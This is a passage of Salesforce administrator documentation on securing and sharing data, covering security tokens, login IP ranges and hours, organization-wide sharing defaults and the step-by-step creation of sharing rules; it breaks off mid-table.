  • 43. • If the user’s login is from neither a trusted IP address nor a browser with a Salesforce cookie, the login is blocked. Whenever a login is blocked or returns an API login fault, Salesforce must verify the user’s identity: • For access via the user interface, the user is prompted toenter a token (also called a verification code) to confirm the user’s identity. Note: Users aren’t asked for a verification code the first time they log in to Salesforce. • For access via the API or a client, users must add their security token (or time-based token if Two-Factor Authentication on API Logins is set on the user’s profile and the user has added a time-based token to his or her account) to the end of their password in order to log in. A security token is an automatically-generated key from Salesforce. For example, if a user’s password is mypassword, and the security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in. Users can obtain their security token by changing their password or resetting their security token via the Salesforce user interface. When a user changes their password or resets their security token, Salesforce sends a new security token to the email address on the user’s Salesforce record. The security token is valid until a user resets their security token, changes their password, or has their password reset. Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network prior to attempting to access Salesforce from a new IP address. Tips on Setting Login Restrictions Consider the following when setting login restrictions: • When a user’s password is changed, the security token is automatically reset. The user may experience a blocked login until he or she adds the automatically-generated security token to the end of his or her password when logging in to Salesforce via the API or a client. • Partner Portal and Customer Portal users aren’t required to activate computers to log in. • For more information on API login faults, see the Core Data Types Used in API Calls topic in the SOAP API Developer's Guide. • If single sign-on is enabled for your organization, API and desktop client users can’t log into Salesforce unless their IP address is included on your organization’s list of trusted IP addresses or on their profile, if their profile has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the “Is Single Sign-On Enabled” permission. However, if the security token is enabled for your organization, then your organization’s login lockout settings determine the number of times a user can attempt to log in with an invalid security token before being locked out of Salesforce. • These events count toward the number of times a user can attempt to log in with an invalid password before being locked out of Salesforce, as defined in your organization’s login lockout settings: ◊ Each time a user is prompted to confirm his or her identity (when a user clicks Email me a verification code for example) ◊ Each time a user incorrectly adds the security token or time-based token to the end of their password to log into the API or a client 37 Setting Login RestrictionsSecuring and Sharing Data
  • 44. Restricting Login IP Ranges in the Enhanced Profile User Interface User Permissions Needed “View Setup and Configuration”To view login IP ranges: “Manage Users”To edit login IP ranges: “Modify All Data”To delete login IP ranges: You can control login access on a user’s profile by specifying a range of IP addresses. When you define IP address restrictions for a profile, any login from a restricted IP address is denied. 1. From Setup, click Manage Users > Profiles. 2. Select a profile and click its name. 3. In the profile overview page, click Login IP Ranges. 4. Use any of these methods to change login IP address ranges for the profile. • If you want to add ranges, click Add IP Ranges. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. • If you want to edit or remove ranges, click Edit or Delete for that range. Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can’t include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox organizations from the Spring ’12 release and later. Important: • Partner User profiles are limited to 5 IP addresses. If you want to increase this limit, contact salesforce.com. • The Salesforce Classic app can bypass IP range definitions set up for profiles. Salesforce Classic initiates a secure connection to Salesforce over the mobile carrier’s network, but the mobile carrier’s IP addresses might be outside of the IP ranges allowed on the user’s profile. To prevent bypassing IP definitions set on a user’s profile, “disable Salesforce Classic” in the Salesforce Help for that user. Restricting Login IP Addresses in the Original Profile User Interface User Permissions Needed “View Setup and Configuration”To view login IP ranges: “Manage Users”To edit login IP ranges: “Modify All Data”To delete login IP ranges: 38 Restricting Login IP Ranges in the Enhanced Profile User Interface Securing and Sharing Data
  • 45. You can control login access on a user’s profile by specifying a range of IP addresses. When you define IP address restrictions for a profile, any login from a restricted IP address is denied. 1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition: • If you’re using Enterprise, Unlimited, Performance, or Developer editions, from Setup, click ManageUsers > Profiles, and select a profile. • If you’re using Professional, Group, or Personal editions, from Setup, click Security Controls > Session Settings. 2. Click New in the Login IP Ranges related list. 3. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field. The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0 as both the start and end addresses. • Partner User profiles are limited to 5 IP addresses. If you want to increase this limit, contact salesforce.com. • The Salesforce Classic app can bypass IP range definitions set up for profiles. Salesforce Classic initiates a secure connection to Salesforce over the mobile carrier’s network, but the mobile carrier’s IP addresses might be outside of the IP ranges allowed on the user’s profile. To prevent bypassing IP definitions set on a user’s profile, “disable Salesforce Classic” in the Salesforce Help for that user. 4. Click Save. Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is 255.255.255.255. A range can’t include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox organizations from the Spring ’12 release and later. Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches. Viewing and Editing Login Hours in the Enhanced Profile User Interface User Permissions Needed “View Setup and Configuration”To view login hour settings: “Manage Users”To edit login hour settings: For each profile, you can specify the hours when users can log in. 1. From Setup, click Manage Users > Profiles. 2. Select a profile and click its name. 3. In the profile overview page, scroll down to Login Hours and click Edit. 4. Set the days and hours when users with this profile can log in to the organization. To allow users to log in at any time, click Clear all times. To prohibit users from using the system on a specific day, set the start and end times to the same value. 39 Viewing and Editing Login Hours in the Enhanced Profile User Interface Securing and Sharing Data
  • 46. If users are logged in when their login hours end, they can continue to view their current page, but they can’t take any further action. Note: The first time login hours are set for a profile, the hours are based on the organization’s Default Time Zone as specified in Setup at CompanyProfile > CompanyInformation. After that, any changes to the organization’s Default Time Zone won’t change the time zone for the profile’s login hours. As a result, the login hours are always applied at those exact times even if a user is in a different time zone or if the organization’s default time zone is changed. Depending on whether you’re viewing or editing login hours, the hours may appear differently. On the Login Hours edit page, hours are shown in your specified time zone. On the profile overview page, they appear in the organization’s original default time zone. Viewing and Editing Login Hours in the Original Profile User Interface User Permissions Needed “Manage Users”To set login hours: For each profile, you can specify the hours when users can log in. 1. From Setup, click Manage Users > Profiles, and select a profile. 2. Click Edit in the Login Hours related list. 3. Set the days and hours when users with this profile can use the system. To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set the start and end times to the same value. If users are logged in when their login hours end, they can continue to view their current page, but they can’t take any further action. 4. Click Save. Note: The first time login hours are set for a profile, the hours are based on the organization’s Default Time Zone as specified in Setup at CompanyProfile > CompanyInformation. After that, any changes to the organization’s Default Time Zone won’t change the time zone for the profile’s login hours. As a result, the login hours are always applied at those exact times even if a user is in a different time zone or if the organization’s default time zone is changed. Depending on whether you're viewing or editing login hours, the hours may appear differently. On the profile detail page, hours are shown in your specified time zone. On the Login Hours edit page, they appear in the organization's default time zone. Managing Salesforce Classic Permissions User Permissions Needed “View Setup and Configuration”To view Salesforce Classic configurations: “Manage Mobile Configurations”To create, change, or delete Salesforce Classic configurations: 40 Viewing and Editing Login Hours in the Original Profile User Interface Securing and Sharing Data
  • 47. A mobile license is required for each user who will access the full version of the Salesforce Classic app. You allocate mobile licenses using the Mobile User checkbox on the user record. For organizations using Unlimited, Performance, and Developer Editions, salesforce.com provides a mobile license for each Salesforce license and the Mobile User checkbox is enabled by default for all users. Organizations using Professional or Enterprise Editions must purchase mobile licenses separately and allocate them manually. Note: The Mobile User checkbox is disabled by default for new Performance Edition users. To prevent users from activating the full version of Salesforce Classic on their mobile devices before you’re ready to deploy the app, disable the Mobile User checkbox for all your users. Any Salesforce user who doesn't have a mobile license can download a free, restricted version of Salesforce Classic. Starting with Summer ‘13, the free version of Salesforce Classic is disabled by default in all new organizations. You can enable it to give users access to Salesforce on their mobile devices. To enable the free version of Salesforce Classic: 1. From Setup, click Mobile Administration > Salesforce Classic > Settings. 2. Click Edit. 3. Select Enable Mobile Lite. 4. Click Save. About Organization-Wide Sharing Defaults Administrators can use organization-wide sharing settings to define the default sharing settings for an organization. Organization-wide sharing settings specify the default level of access to records and can be set separately for accounts (including assets and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects. For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write. In environments where the organization-wide sharing setting for an object is Private or Public Read Only, an administrator can grant users additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can only be used to grant additional access—they cannot be used to restrict access to records beyond what was originally specified with the organization-wide sharing defaults. Important: If your organization uses a Customer Portal, before you enable contacts to access the portal, set the organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by default your customers can view only their own data. You can still grant your Salesforce users Public Read/Write access by creating sharing rules in which all internal users share with all internal users. By default, Salesforce uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users above the record owner in the hierarchy. Setting an object to Private makes those records visible only to record owners and those above them in the role hierarchy. Use the Grant Access Using Hierarchies checkbox to disable access to records to users above the record owner in the hierarchy for custom objects in Professional, Enterprise, Unlimited, Performance, and Developer Edition. If you deselect this checkbox for a custom object, only the record owner and users granted access by the organization-wide defaults receive access to the records. 41 About Organization-Wide Sharing DefaultsSecuring and Sharing Data
  • 48. Setting Your Organization-Wide Sharing Defaults User Permissions Needed “Manage Users” AND “Customize Application” To set default sharing access: Note: Who Sees What: Organization-Wide Defaults Watch how you can restrict access to records owned by other users. 1. From Setup, click Security Controls > Sharing Settings. 2. Click Edit in the Organization-Wide Defaults area. 3. For each object, select the default access you want to use. If you have a portal enabled with separate organization-wide defaults, see External Organization-Wide Defaults Overview. 4. To disable automatic access using your hierarchies, deselect Grant Access Using Hierarchies for any custom object that does not have a default access of Controlled by Parent. Note: If Grant Access Using Hierarchies is deselected, users that are higher in the role or territory hierarchy don’t receive automatic access. However, some users—such as those with the “View All” and “Modify All” object permissions and the “View All Data” and “Modify All Data” system permissions—can still access records they don’t own. Updating the organization-wide defaults automatically runs sharing recalculation to apply any access changes to your records. If you have a lot of data, the update can take longer. You’ll receive a notification email when the recalculation completes and you can refresh the Sharing Settings page to see your changes. To view the update status, from Setup, click Security Controls > View Setup Audit Trail. Limitations The organization-wide sharing default setting can’t be changed for some objects: • Solutions are always Public Read/Write. • Service contracts are always Private. • The ability to view or edit a document, report, or dashboard is based on a user’s access to the folder in which it’s stored. • Users can only view the forecasts of other users who are placed below them in the role hierarchy, unless forecast sharing is enabled. • When a custom object is on the detail side of a master-detail relationship with a standard object, its organization-wide default is set to Controlled by Parent and it is not editable. • The organization-wide default settings can’t be changed from private to public for a custom object if Apex code uses the sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing access on a custom object Invoice__c (represented as Invoice__share in the code), you can’t change the object’s organization-wide sharing setting from private to public. 42 Setting Your Organization-Wide Sharing DefaultsSecuring and Sharing Data
  • 49. External Organization-Wide Defaults Overview Note: This feature is not enabled in your organization by default. For information on enabling it, contact salesforce.com. External organization-wide defaults provides separate organization-wide defaults for internal and external users. It simplifies your sharing rules configuration and improve recalculation performance. Additionally, administrators can easily see which information is being shared to portals and other external users. Separate organization-wide defaults is available for these objects. • Accounts and their associated contracts and assets • Cases • Contacts • Opportunities • Custom Objects • Users External users include: • Authenticated Website users • Chatter External Users • Customer Portal users • Guest users • High-Volume Portal Users • Partner Portal users • Service Cloud Portal users Previously, if your organization wanted Public Read Only or Public Read/Write access for internal users but Private for external users, you would have to set the default access to Private and create a sharing rule to share records with all internal users. With separate organization-wide defaults, you can achieve similar behavior by setting Default Internal Access to Public Read Only or Public Read/Write and Default External Access to Private without an additional sharing rule. Setting the default internal access as Public Read Only or Public Read/Write also speeds up performance for reports, list views, searches, and API queries. Setting the External Organization-Wide Defaults External Organization-Wide Defaults enable you to set a different default access level for external users. Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions User Permissions Needed “Manage Users”To set default sharing access: Note: External Organization-Wide Defaults is available through a pilot program. For more information on enabling this feature for your organization, contact salesforce.com. 43 External Organization-Wide Defaults OverviewSecuring and Sharing Data
  • 50. Before you set the external organization-wide defaults, make sure that it is enabled. From Setup, click Security Controls > Sharing Settings, and click the Enable External Sharing Model button. When you first enable external organization-wide defaults, the Default Internal Access and Default External Access are set to the original default access level. For example, if your organization-wide default for contacts is Private, the Default Internal Access and Default External Access will be Private as well. To set the external organization-wide default for an object: 1. From Setup, click Security Controls > Sharing Settings 2. Click Edit in the Organization-Wide Defaults area. 3. For each object, select the default access you want to use. You can assign the following access levels. DescriptionAccess Level Users can perform actions (such as view, edit, delete) on a record on the detail side of a master-detail relationship if they can perform the same action on all associated master records. Controlled by Parent Only users who are granted access by ownership, permissions, role hierarchy, manual sharing, or sharing rules can access the records. Private All users can view all records for the object.Public Read Only All users can view and edit all records for the object.Public Read/Write Note: The Default External Access level must be more restrictive or equal to the Default Internal Access level. For example, you can have a custom object with Default External Access set to Private and Default Internal Access set to Public Read Only. 4. Click Save. Disabling External Organization-Wide Defaults Disabling External Organization-Wide Defaults results in one organization-wide default for each object. Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions User Permissions Needed “Manage Users”To disable external organization-wide defaults: Before disabling this feature, set DefaultExternalAccess and DefaultInternalAccess to the same access level for each object. To disable the external organization-wide defaults: 1. From Setup, click Security Controls > Sharing Settings 2. Click Disable External Sharing Model in the Organization-Wide Defaults area. After disabling the external organization-wide defaults, you’ll see the Default Access setting instead of the Default External Access and Default Internal Access settings in the organization-wide defaults area. If you have User Sharing, the Default External Access settings for the account, contact, case, and opportunity objects remain visible but they are disabled. 44 Disabling External Organization-Wide DefaultsSecuring and Sharing Data
  • 51. Sharing Rules Overview Note: Who Sees What: Record Access via Sharing Rules Watch how you can grant access to records using sharing rules. With sharing rules, you can make automatic exceptions to your organization-wide sharing settings for defined sets of users. For example, use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never be stricter than your organization-wide default settings. They simply allow greater access for particular users. You can create the following types of sharing rules. Set Default Sharing Access forBased onType Accounts and their associated contracts, assets, opportunities, cases, and optionally, contacts Account owner or other criteria, including account record types or field values Account sharing rules Accounts and their associated cases, contacts, contracts, and opportunities Territory assignmentAccount territory sharing rules Individual campaign recordsCampaign owner or other criteria, including campaign record types or field values Campaign sharing rules Individual cases and associated accountsCase owner or other criteria, including case record types or field values Case sharing rules Individual contacts and associated accounts Contact owner or other criteria, including contact record types or field values Contact sharing rules Individual custom object recordsCustom object owner or other criteria, including custom object record types or field values Custom object sharing rules Individual leadsLead owner or other criteria, including lead record types or field values Lead sharing rules Individual opportunities and their associated accounts Opportunity owner or other criteria, including opportunity record types or field values Opportunity sharing rules Individual user recordsGroup membership or other criteria, including username and whether the user is active User sharing rules Note: • You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public groups. • Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria). This does not apply to User Sharing. 45 Sharing Rules OverviewSecuring and Sharing Data
  • 52. Criteria-Based Sharing Rules Overview Criteria-based sharing rules determine whom to share records with based on field values in records. For example, let’s say you use a custom object for job applications, with a custom picklist field named “Department.” You can create a criteria-based sharing rule that shares all job applications in which the Department field is set to “IT” with all IT managers in your organization. Note: • Although criteria-based sharing rules are based on values in the records and not the record owners, a role or territory hierarchy still allows users higher in the hierarchy to access the records. • You can’t use Apex to create criteria-based sharing rules. Also, criteria-based sharing cannot be tested using Apex. • You can use the Metadata API to create criteria-based sharing rules starting in API version 24.0. • You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public groups. You can create criteria-based sharing rules for accounts, opportunities, cases, contacts, leads, campaigns, and custom objects. You can create up to 50 criteria-based sharing rules per object. • Record types • These field types: ◊ Auto Number ◊ Checkbox ◊ Date ◊ Date/Time ◊ Email ◊ Number ◊ Percent ◊ Phone ◊ Picklist ◊ Text ◊ Text Area ◊ URL ◊ Lookup Relationship (to user ID or queue ID) Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies “Manager” in a text field won’t share records with “manager” in the field. To create a rule with several common cases of a word, enter each value separated by a comma. Creating Lead Sharing Rules User Permissions Needed “Manage Users”To create sharing rules: Lead sharing rules are based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 lead sharing rules, including up to 50 criteria-based sharing rules. 46 Criteria-Based Sharing Rules OverviewSecuring and Sharing Data
  • 53. 1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. 2. From Setup, click Security Controls > Sharing Settings. 3. In the Lead Sharing Rules related list, click New. 4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 6. Select a rule type. 7. Depending on the rule type you selected, do the following: • Based on record owner—In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). • Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion. 8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 9. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 10. Click Save. Creating Account Sharing Rules User Permissions Needed “Manage Users”To create sharing rules: Account sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 account sharing rules, including up to 50 criteria-based sharing rules. 1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. 2. From Setup, click Security Controls > Sharing Settings. 3. In the Account Sharing Rules related list, click New. 4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 6. Select a rule type. 7. Depending on the rule type you selected, do the following: 47 Creating Account Sharing RulesSecuring and Sharing Data
  • 54. Based on record owner—In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). • • Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion. 8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 9. Select a setting for Default Account, Contract and Asset Access. 10. In the remaining fields, select the access settings for the records associated with the shared accounts. DescriptionAccess Setting Users can’t view or update records, unless access is granted outside of this sharing rule. Private (available for associated contacts, opportunities, and cases only) Users can view, but not update, records.Read Only Users can view and update records.Read/Write Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent. 11. Click Save. Creating Account Territory Sharing Rules User Permissions Needed “Manage Users”To create sharing rules: Account territory sharing rules are based on territory assignment. You can define up to 300 account territory sharing rules. 1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. 2. From Setup, click Security Controls > Sharing Settings. 3. In the Account Territory Sharing Rules related list, click New. 4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 6. In the Accounts in Territory line, select Territories or Territories and Subordinates from the first drop-down list and a territory from the second drop-down list. 7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 48 Creating Account Territory Sharing RulesSecuring and Sharing Data
  • 55. 8. Select a setting for Default Account, Contract and Asset Access. 9. In the remaining fields, select the access setting for the records associated with the shared account territories. DescriptionAccess Setting Users can’t view or update records, unless access is granted outside of this sharing rule. Private (available for associated contacts, opportunities, and cases only) Users can view, but not update, records.Read Only Users can view and update records.Read/Write Note: Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent. 10. Click Save. Creating Contact Sharing Rules User Permissions Needed “Manage Users”To create sharing rules: Contact sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 contact sharing rules, including up to 50 criteria-based sharing rules. 1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. 2. From Setup, click Security Controls > Sharing Settings. 3. In the Contact Sharing Rules related list, click New. 4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 6. Select a rule type. 7. Depending on the rule type you selected, do the following: • Based on record owner—In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). • Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion. 8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 9. Select the sharing access setting for users. 49 Creating Contact Sharing RulesSecuring and Sharing Data
  • 56. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 10. Click Save. Creating Opportunity Sharing Rules User Permissions Needed “Manage Users”To create sharing rules: Opportunity sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 opportunity sharing rules, including up to 50 criteria-based sharing rules. 1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. 2. From Setup, click Security Controls > Sharing Settings. 3. In the Opportunity Sharing Rules related list, click New. 4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 6. Select a rule type. 7. Depending on the rule type you selected, do the following: • Based on record owner—In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). • Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion. 8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 9. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the associated account. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 10. Click Save. 50 Creating Opportunity Sharing RulesSecuring and Sharing Data
  • 57. Creating Case Sharing Rules User Permissions Needed “Manage Users”To create sharing rules: Case sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 case sharing rules, including up to 50 criteria-based sharing rules. 1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. 2. From Setup, click Security Controls > Sharing Settings. 3. In the Case Sharing Rules related list, click New. 4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 6. Select a rule type. 7. Depending on the rule type you selected, do the following: • Based on record owner—In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). • Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion. 8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 9. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 10. Click Save. Creating Campaign Sharing Rules User Permissions Needed “Manage Users”To create sharing rules: Campaign sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 campaign sharing rules, including up to 50 criteria-based sharing rules. 51 Creating Case Sharing RulesSecuring and Sharing Data
  • 58. 1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. 2. From Setup, click Security Controls > Sharing Settings. 3. In the Campaign Sharing Rules related list, click New. 4. Enter the Label Name and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 6. Select a rule type. 7. Depending on the rule type you selected, do the following: • Based on record owner—In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). • Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion. 8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 9. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write Any user in the selected group, role, or territory can view, edit, transfer, delete, and share the record, just like the record’s owner. With a Full Access sharing rule, users can also view, edit, delete, and close activities associated with the record if the organization-wide sharing setting for activities is Controlled by Parent. Full Access 10. Click Save. Creating Custom Object Sharing Rules User Permissions Needed “Manage Users”To create sharing rules: Custom object sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You can define up to 300 custom object sharing rules, including up to 50 criteria-based sharing rules. 1. If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created. 2. From Setup, click Security Controls > Sharing Settings. 3. In the Sharing Rules related list for the custom object, click New. 52 Creating Custom Object Sharing RulesSecuring and Sharing Data
  • 59. 4. Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is a unique name used by the API and managed packages. 5. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 6. Select a rule type. 7. Depending on the rule type you selected, do the following: • Based on record owner—In the owned by members of line, specify the users whose records will be shared: select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 queues, groups, roles, or territories). • Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. Note: To use a field that’s not supported by criteria-based sharing rules, you can create a workflow rule or Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion. 8. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 9. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records.Read Only Users can view and update records.Read/Write 10. Click Save. Creating User Sharing Rules Share members of a group to members of another group, or share users based on criteria. Available in: Professional, Enterprise, Performance, Unlimited, and Developer Editions User Permissions Needed “Manage Users”To create sharing rules: User sharing rules can be based on membership to public groups, roles, or territories, or on other criteria such as Department and Title. By default, you can define up to 300 user sharing rules, including up to 50 criteria-based sharing rules. Contact Salesforce.com for information about increasing these limits. User sharing rules based on membership enable user records belonging to members of one group to be shared with members of another group. Before you can create a membership-based user sharing rule, confirm that the appropriate groups have been created. Users inherit the same access as users below them in the role hierarchy. 1. From Setup, click Security Controls > Sharing Settings. 2. In the User Sharing Rules related list, click New. 3. Enter the Label Name and click the Rule Name field to auto-populate it. 53 Creating User Sharing RulesSecuring and Sharing Data
  • 60. 4. Enter the Description. This field describes the sharing rule. It is optional and can contain up to 1000 characters. 5. Select a rule type. 6. Depending on the rule type you selected, do the following: a. Based on group membership—Users who are members of a group can be shared with members of another group. In the Users who are members of line, select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if your organization has over 200 groups, roles, or territories). b. Based on criteria—Specify the Field, Operator, and Value criteria that records must match to be included in the sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click Add Filter Logic... to change the default AND relationship between each filter. 7. In the Share with line, specify the group that should have access to the user records. Select a category from the first drop-down list and a set of users from the second drop-down list or lookup field. 8. Select the sharing access setting for users. DescriptionAccess Setting Users can view, but not update, records. They can see target users in list views, lookups, search, and interact with them on Chatter. Read Only Users can view and update records.Read/Write Sharing Rule Categories When you define a sharing rule, you can choose from the following categories in the owned by members of and Share with drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories may not appear. Note: You can’t include high-volume portal users in sharing rules because they don’t have roles and can’t be in public groups. DescriptionCategory All direct and indirect managers of a 